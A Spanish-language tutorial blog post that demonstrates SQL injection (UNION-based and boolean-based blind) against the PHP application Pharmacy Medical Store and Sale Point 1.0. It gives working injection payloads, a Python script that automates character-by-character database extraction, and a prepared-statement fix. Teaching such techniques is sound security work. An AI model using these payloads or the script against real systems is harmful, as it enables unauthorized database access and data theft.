Introducción SQLi – Ataques UNION y AND boolean-based blind

En esta entrada hablaremos de esta técnica actualmente muy explotada en diferentes webapps. El software vulnerable que usaremos será Pharmacy Medical Store and Sale Point 1.0.

Análisis de la vulnerabilidad

Debido a la no sanitización de las consultas usadas en el código fuente, nos permite realizar injecciones de código para poder obtener información de la base de datos. Como no puede ser de otra manera comencemos mirando en la página web previa autenticación del user «admin@admin.com».

Podemos gestionar nuestro inventario de medicinas en el fichero inventeries.php. Si visualizamos nuestro código fuente podemos verificar rapidamente donde se realiza la consulta. Si el parametro catId esta seteado en la petición HTTP GET, entonces el flujo de ejecución entrará la estructura de control if, en caso contrario, mostrará todo el inventario.

if (isset($_GET['catId']))
{
  $catId = $_GET['catId'];
  $array = $con->query("select * from categories where id='$catId'");
  $catArray =$array->fetch_assoc();
  $catName = $catArray['name'];
  var_dump($catArray['pic']);
  $stockArray = $con->query("select * from inventeries where catId='$catArray[id]'");
 
}
else
{
  $catName = "All Inventeries";
  $stockArray = $con->query("select * from inventeries");
}

Primero veamos como la consulta no esta sanitizada, permitiendo una inyección SQL por Union (luego veremos que se puede tambien boolean based y time based). Como estamos explotando usando la metodología whitebox, podemos ver en la base de datos store la tabla categorías. Esta tabla contiene 5 columnas. ¿Como podríamos determinar el número de columnas sin disponer del código fuente? Es bien sabido que si hacemos un UNION como consulta SQL y ponemos un numero de campos distinto al numero actual de columnas, la webapp dará un error (lo cual es otra vulnerabilidad, debido a que es aconsejable desactivar los errores de php). Por lo tanto, si no nos da un error, entonces ya sabemos el número de columnas de la tabla categorías. (desde la metodologia blackbox). Nosotros no nos hace falta conocer esto, poque disponemos de todo el acceso a la webapp.

Si se fijan en el código mostrado anteriomente puse una instrucción relacionada con debug, var_dump. El campo esta relacionado con la tercera columna de la tabla categorías, denominada pic.

La razón para realizar un ataque de inyección SQL UNION es poder recuperar los resultados de una consulta inyectada. Por lo general, los datos interesantes que se quieren recuperar estarán en forma de cadena, por lo que es necesario encontrar una o más columnas en los resultados de la consulta original.

Habiendo determinado ya el número de columnas necesarias, puede IR testeando cada columna para comprobar si puede contener datos de cadenas presentando una serie de payloads UNION SELECT que colocan un valor de cadena en cada columna. Por ejemplo, si la consulta devuelve cinco columnas, se debería enviar: 

?catId=19' UNION SELECT 'a',null,null,null,null-- -
?catId=19' UNION SELECT null,'a',null,null,null-- -
?catId=19' UNION SELECT null,null,'a',null,null-- -
?catId=19' UNION SELECT null,null,null,'a',null-- -
?catId=19' UNION SELECT null,null,null,null,'a'-- -

Notese que para el segundo payload nos visualiza la string automaticamente, es decir, se refleja el valor «a» directamente, por lo tanto ya tenemos un gran avance. Es decir, si no se produce un error y la respuesta de la aplicación contiene algún contenido adicional, incluido el valor de la cadena inyectada, entonces la columna correspondiente es adecuada para recuperar los datos de la cadena. Además como pusimos una variable var_dump en el tercer payload podemos visualizar la cadena inyectada, pero esto no nos vale en un entorno de explotación real, ya que nosotros eso lo hemos puesto para poder estudiar la webapp.

Explotación

Finalmente con el siguiente payload obtenemos el banner de la base de datos!.

?catId=19' UNION SELECT NULL,CONCAT(0x2d,IFNULL(CAST(VERSION() AS NCHAR),0x20),0x2d),NULL,NULL,NULL-- -

Impacto

Un exploit de inyección SQL exitoso, puede leer datos sensibles de la base de datos, modificar los datos de la base de datos (Insertar/Actualizar/Borrar), ejecutar operaciones de administración en la base de datos (como el cierre del DB), recuperar el contenido de un archivo dado presente en el sistema de archivos del DB y en algunos casos inyectar comandos al sistema operativo.

Nuestra inyección SQL se ha realizado con éxito, pudiendo obtener toda la base de datos.

Subsanación de la vulnerabilidad

Pero como no puede ser de otra manera este ataque se podria evitar usando PDO. El método es usar prepared statements y parameterized queries. Esto son sentencias SQL preparadas que se envían a la base de datos de forma separada a cualquier parámetro. De esta forma podriamos prevenir este ataque SQLi (al menos con el payload anterior).

if (isset($_GET['catId']))
{
  $catId = $_GET['catId'];
  /**
 * Check if the 'id' GET variable is set
  /**
   * Validate data before it enters the database. In this case, we need to check that
   * the value of the 'id' GET parameter is numeric
   */
   if ( is_numeric($catId) == true){
      $q = "SELECT * 
          FROM categories
          WHERE id = ?";
      // Prepare the SQL query string.
      $sth = $con->prepare($q);
      // Bind parameters to statement variables.
      $sth->bind_param("d", $catId);
      $sth->execute();
      $result = $sth->get_result();
      $catArray= $result->fetch_assoc();
      $catName = $catArray['name'];
      var_dump($catName);
      $stockArray = $con->query("select * from inventeries where catId='$catArray[id]'");
    }

}

Si observan ahora, no podemos usar el payload anterior y no es explotable. Sin lugar a dudas tendríamos que controlar todos los errores que darán, pero obviamente y con este método estamos evitando la SQLi.

AND boolean-based blind

Un ataque de inyección SQL de inserción o «inyección» de una consulta SQL a través de los datos de entrada del cliente a la aplicación Pharmacy Medical Store and Sale Point 1.0 en el siguiente endpoint:

http://localhost:81/medical-store-source/inventeries.php?catId=

Como hemos visto previamente en el anterior apartado, corresponde al mismo endpoint por lo tanto vamos a obviar el punto de análisis de vulnerabilidades desde la metodología whitebox. Hay algunas formas de comprobar si el sitio web que tenemos es vulnerable a un SQLi Boolean Based Blind, podemos utilizar la sentencia «AND», luego alguna operación dando como resultado un valor true o false (booleano), por ejemplo, podemos utilizar AND 1 = 1, que sería igual a True/True, ya que 1 es igual a 1. Por tanto si ponemos 6=5 nos dará False y si ponemos 6=6 nos dará True.

?catId=2' AND 6=6 AND 'AAAA'='AAAA -> True
?catId=2' AND 6=5 AND 'AAAA'='AAAA -> False

Partiendo de esta hipótesis podemos obtener carácter a carácter el banner de la base de datos, esperando una respuesta booleana. Si la respuesta es False obtenemos No data available in table, lo cual es un fiel indicador de obtención de los caracteres ya que si es True aparecerá la respuesta como si se tratase de una respuesta legitima realizada por el usuario.

Sin errores en la respuesta, por tanto True:

?catId=2' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(VERSION()) AS NCHAR),0x20)),1,1))>48 AND 'uBaE'='uBaE

Con el error en la respuesta: No data available in table, por tanto False:

?catId=2' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(VERSION()) AS NCHAR),0x20)),1,1))>49 AND 'uBaE'='uBaE

Ya sabemos del apartado anterior que el banner de la base de datos es 10.4.13-MariaDB. por consiguiente sabemos que 49 en decimal es el carácter en ASCII «1». Podemos concluir con la hipótesis de que todo valor asignado a una respuesta booleana como True, es menor al valor real que contiene la condición, en este caso la condición es el primer carácter de version() correspondiente al banner ya que 49>{32-48}. Y si todo valor asignado a una respuesta booleana como False, eso quiere decir que es mayor al valor real que contiene la condición, ya que 49>[49-126] (notese que ponemos de rangos los caracteres ASCII imprimibles).

Explotación

Una vez comprendido la explotación escribimos nuestro exploit para automatización de obtención del banner de MySQL.

import re
import requests
from bs4 import BeautifulSoup
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#We can test the blind sqli error boolean-based with this script. This script testing with each character of the admins name table.

def blind_sqli(injection_string):
    target = "http://localhost:81/medical-store-source/inventeries.php"

    for j in range(32,126):

        PARAMS = {'catId': "%s" % (injection_string.replace("[CHAR]", str(j)))}
        cookies = {'PHPSESSID': 'o8qo3g48noddvjsbtu6f9uggdi'}
        r = requests.get(target,params = PARAMS,cookies=cookies, verify=False)
        s = BeautifulSoup(r.text, 'lxml')
        good = re.search("Select", s.text)
        if good == None:
            return j
    return None

def main():
    print("\n(+) Retrieving banner from database...")
    # 15 is length of the admins string table. This can
    # be dynamically stolen from the database as well!
    for i in range(1,16):
        injection_string = "2' AND ORD(MID((IFNULL(CAST(VERSION() AS NCHAR),0x20)),%d,1))>[CHAR] AND 'uBaE'='uBaE" % i
        extracted_char = chr(blind_sqli(injection_string))
        sys.stdout.write(extracted_char)
        sys.stdout.flush()
    print("\n(+) done!")

if __name__ == "__main__":
    main()

Hasta aquí la entrada de hoy, saludos!!